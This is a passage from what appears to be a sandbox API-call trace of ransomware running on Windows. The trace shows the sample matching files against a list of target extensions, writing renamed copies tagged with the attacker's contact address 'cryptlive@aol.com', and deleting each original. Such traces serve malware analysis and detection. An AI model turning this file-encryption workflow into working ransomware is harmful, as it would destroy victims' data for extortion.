(lpString1=".7z", lpString2="ICO") returned -1 [0160.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNL.ICO") returned 66 [0160.505] lstrlenW (lpString=".dbf") returned 4 [0160.505] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0160.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNL.ICO") returned 66 [0160.505] lstrlenW (lpString=".1cd") returned 4 [0160.505] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0160.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNL.ICO") returned 66 [0160.505] lstrlenW (lpString=".jpg") returned 4 [0160.505] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0160.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNL.ICO") returned 66 [0160.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNL.ICO") returned 66 [0160.505] lstrlenW (lpString=".doc") returned 4 [0160.505] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0160.505] lstrlenW (lpString=".docx") returned 5 [0160.505] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0160.505] lstrlenW (lpString=".pdf") returned 4 [0160.505] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0160.505] lstrlenW (lpString=".xls") returned 4 [0160.505] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0160.505] lstrlenW (lpString=".xlsx") returned 5 [0160.505] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0160.505] lstrlenW (lpString=".ppt") returned 4 [0160.505] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0160.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNL.ICO") returned 66 [0160.505] lstrlenW (lpString=".zip") returned 4 [0160.505] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0160.505] lstrlenW (lpString=".rar") returned 4 [0160.505] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0160.505] lstrlenW (lpString=".bz2") returned 4 [0160.505] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0160.506] lstrlenW (lpString=".7z") returned 3 [0160.506] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0160.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNL.ICO") returned 66 [0160.506] lstrlenW (lpString=".dbf") returned 4 [0160.506] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0160.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNL.ICO") returned 66 [0160.506] lstrlenW (lpString=".1cd") returned 4 [0160.506] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0160.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNL.ICO") returned 66 [0160.506] lstrlenW (lpString=".jpg") returned 4 [0160.506] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0160.506] lstrcmpiW (lpString1=".ICO", lpString2=".LIVE") returned -1 [0160.506] lstrlenW (lpString="SCDRESNS.ICO") returned 12 [0160.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdresns.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0160.776] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=2998) returned 1 [0160.776] CloseHandle (hObject=0x1fc) returned 1 [0160.777] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdresns.ico")) returned 0x20 [0160.828] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNS.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdresns.ico.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0160.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdresns.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0160.872] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.872] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNS.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdresns.ico.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0160.873] GetLastError () returned 0x0 [0160.873] ReadFile (in: hFile=0x1dc, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0xbb6, lpOverlapped=0x0) returned 1 [0160.874] WriteFile (in: hFile=0x1fc, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0160.875] ReadFile (in: hFile=0x1dc, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0160.875] WriteFile (in: hFile=0x1fc, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0160.875] SetEndOfFile (hFile=0x1fc) returned 1 [0160.876] CloseHandle (hObject=0x1fc) returned 1 [0160.876] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.876] SetEndOfFile (hFile=0x1dc) returned 1 [0160.878] CloseHandle (hObject=0x1dc) returned 1 [0160.878] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNS.ICO.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0160.878] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdresns.ico")) returned 1 [0160.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNS.ICO") returned 66 [0160.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNS.ICO") returned 66 [0160.879] lstrlenW (lpString=".doc") returned 4 [0160.879] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0160.879] lstrlenW (lpString=".docx") returned 5 [0160.879] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0160.879] lstrlenW (lpString=".pdf") returned 4 [0160.879] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0160.879] lstrlenW (lpString=".xls") returned 4 [0160.879] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0160.879] lstrlenW (lpString=".xlsx") returned 5 [0160.880] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0160.880] lstrlenW (lpString=".ppt") returned 4 [0160.880] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0160.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNS.ICO") returned 66 [0160.880] lstrlenW (lpString=".zip") returned 4 [0160.880] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0160.880] lstrlenW (lpString=".rar") returned 4 [0160.880] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0160.880] lstrlenW (lpString=".bz2") returned 4 [0160.880] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0160.880] lstrlenW (lpString=".7z") returned 3 [0160.880] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0160.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNS.ICO") returned 66 [0160.880] lstrlenW (lpString=".dbf") returned 4 [0160.880] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0160.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNS.ICO") returned 66 [0160.880] lstrlenW (lpString=".1cd") returned 4 [0160.880] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0160.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNS.ICO") returned 66 [0160.880] lstrlenW (lpString=".jpg") returned 4 [0160.880] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0160.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNS.ICO") returned 66 [0160.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNS.ICO") returned 66 [0160.880] lstrlenW (lpString=".doc") returned 4 [0160.880] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0160.880] lstrlenW (lpString=".docx") returned 5 [0160.880] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0160.880] lstrlenW (lpString=".pdf") returned 4 [0160.880] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0160.880] lstrlenW (lpString=".xls") returned 4 [0160.880] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0160.880] lstrlenW (lpString=".xlsx") returned 5 [0160.880] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0160.880] lstrlenW (lpString=".ppt") returned 4 [0160.880] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0160.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNS.ICO") returned 66 [0160.881] lstrlenW (lpString=".zip") returned 4 [0160.881] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0160.881] lstrlenW (lpString=".rar") returned 4 [0160.881] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0160.881] lstrlenW (lpString=".bz2") returned 4 [0160.881] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0160.881] lstrlenW (lpString=".7z") returned 3 [0160.881] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0160.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNS.ICO") returned 66 [0160.881] lstrlenW (lpString=".dbf") returned 4 [0160.881] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0160.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNS.ICO") returned 66 [0160.881] lstrlenW (lpString=".1cd") returned 4 [0160.881] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0160.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNS.ICO") returned 66 [0160.881] lstrlenW (lpString=".jpg") returned 4 [0160.881] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0160.881] lstrcmpiW (lpString1=".ICO", lpString2=".LIVE") returned -1 [0160.881] lstrlenW (lpString="SECRECL.ICO") returned 11 [0160.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secrecl.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0160.882] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=1078) returned 1 [0160.882] CloseHandle (hObject=0x1dc) returned 1 [0160.882] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secrecl.ico")) returned 0x20 [0160.882] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECL.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secrecl.ico.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0160.882] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secrecl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0160.882] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.882] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECL.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secrecl.ico.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0160.883] GetLastError () returned 0x0 [0160.883] ReadFile (in: hFile=0x1dc, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x436, lpOverlapped=0x0) returned 1 [0160.890] WriteFile (in: hFile=0x1fc, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0x440, lpOverlapped=0x0) returned 1 [0160.891] ReadFile (in: hFile=0x1dc, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0160.891] WriteFile (in: hFile=0x1fc, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xea, lpOverlapped=0x0) returned 1 [0160.891] SetEndOfFile (hFile=0x1fc) returned 1 [0160.891] CloseHandle (hObject=0x1fc) returned 1 [0160.892] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.892] SetEndOfFile (hFile=0x1dc) returned 1 [0160.894] CloseHandle (hObject=0x1dc) returned 1 [0160.894] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECL.ICO.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0160.894] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secrecl.ico")) returned 1 [0160.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECL.ICO") returned 65 [0160.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECL.ICO") returned 65 [0160.895] lstrlenW (lpString=".doc") returned 4 [0160.895] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0160.895] lstrlenW (lpString=".docx") returned 5 [0160.895] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0160.895] lstrlenW (lpString=".pdf") returned 4 [0160.895] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0160.895] lstrlenW (lpString=".xls") returned 4 [0160.895] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0160.895] lstrlenW (lpString=".xlsx") returned 5 [0160.895] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0160.895] lstrlenW (lpString=".ppt") returned 4 [0160.895] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0160.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECL.ICO") returned 65 [0160.895] lstrlenW (lpString=".zip") returned 4 [0160.895] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0160.896] lstrlenW (lpString=".rar") returned 4 [0160.896] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0160.896] lstrlenW (lpString=".bz2") returned 4 [0160.896] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0160.896] lstrlenW (lpString=".7z") returned 3 [0160.896] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0160.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECL.ICO") returned 65 [0160.896] lstrlenW (lpString=".dbf") returned 4 [0160.896] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0160.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECL.ICO") returned 65 [0160.896] lstrlenW (lpString=".1cd") returned 4 [0160.896] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0160.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECL.ICO") returned 65 [0160.896] lstrlenW (lpString=".jpg") returned 4 [0160.896] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0160.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECL.ICO") returned 65 [0160.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECL.ICO") returned 65 [0160.896] lstrlenW (lpString=".doc") returned 4 [0160.896] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0160.896] lstrlenW (lpString=".docx") returned 5 [0160.896] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0160.896] lstrlenW (lpString=".pdf") returned 4 [0160.896] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0160.896] lstrlenW (lpString=".xls") returned 4 [0160.896] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0160.896] lstrlenW (lpString=".xlsx") returned 5 [0160.896] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0160.896] lstrlenW (lpString=".ppt") returned 4 [0160.896] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0160.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECL.ICO") returned 65 [0160.896] lstrlenW (lpString=".zip") returned 4 [0160.896] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0160.896] lstrlenW (lpString=".rar") returned 4 [0160.896] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0160.896] lstrlenW (lpString=".bz2") returned 4 [0160.896] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0160.896] lstrlenW (lpString=".7z") returned 3 [0160.897] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0160.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECL.ICO") returned 65 [0160.897] lstrlenW (lpString=".dbf") returned 4 [0160.897] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0160.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECL.ICO") returned 65 [0160.897] lstrlenW (lpString=".1cd") returned 4 [0160.897] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0160.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECL.ICO") returned 65 [0160.897] lstrlenW (lpString=".jpg") returned 4 [0160.897] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0160.897] lstrcmpiW (lpString1=".ICO", lpString2=".LIVE") returned -1 [0160.897] lstrlenW (lpString="SECRECS.ICO") returned 11 [0160.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secrecs.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0160.898] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=2998) returned 1 [0160.898] CloseHandle (hObject=0x1dc) returned 1 [0160.898] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secrecs.ico")) returned 0x20 [0160.898] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECS.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secrecs.ico.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0160.898] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secrecs.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0160.898] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.898] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.898] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECS.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secrecs.ico.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0160.899] GetLastError () returned 0x0 [0160.899] ReadFile (in: hFile=0x1dc, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0xbb6, lpOverlapped=0x0) returned 1 [0160.925] WriteFile (in: hFile=0x1fc, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0160.928] ReadFile (in: hFile=0x1dc, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0160.928] WriteFile (in: hFile=0x1fc, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xea, lpOverlapped=0x0) returned 1 [0160.928] SetEndOfFile (hFile=0x1fc) returned 1 [0160.928] CloseHandle (hObject=0x1fc) returned 1 [0160.928] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.928] SetEndOfFile (hFile=0x1dc) returned 1 [0160.930] CloseHandle (hObject=0x1dc) returned 1 [0160.930] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECS.ICO.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0160.930] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secrecs.ico")) returned 1 [0160.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECS.ICO") returned 65 [0160.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECS.ICO") returned 65 [0160.931] lstrlenW (lpString=".doc") returned 4 [0160.931] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0160.931] lstrlenW (lpString=".docx") returned 5 [0160.931] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0160.931] lstrlenW (lpString=".pdf") returned 4 [0160.932] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0160.932] lstrlenW (lpString=".xls") returned 4 [0160.932] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0160.932] lstrlenW (lpString=".xlsx") returned 5 [0160.932] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0160.932] lstrlenW (lpString=".ppt") returned 4 [0160.932] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0160.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECS.ICO") returned 65 [0160.932] lstrlenW (lpString=".zip") returned 4 [0160.932] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0160.932] lstrlenW (lpString=".rar") returned 4 [0160.932] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0160.932] lstrlenW (lpString=".bz2") returned 4 [0160.932] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0160.932] lstrlenW (lpString=".7z") returned 3 [0160.932] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0160.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECS.ICO") returned 65 [0160.932] lstrlenW (lpString=".dbf") returned 4 [0160.932] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0160.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECS.ICO") returned 65 [0160.932] lstrlenW (lpString=".1cd") returned 4 [0160.932] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0160.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECS.ICO") returned 65 [0160.932] lstrlenW 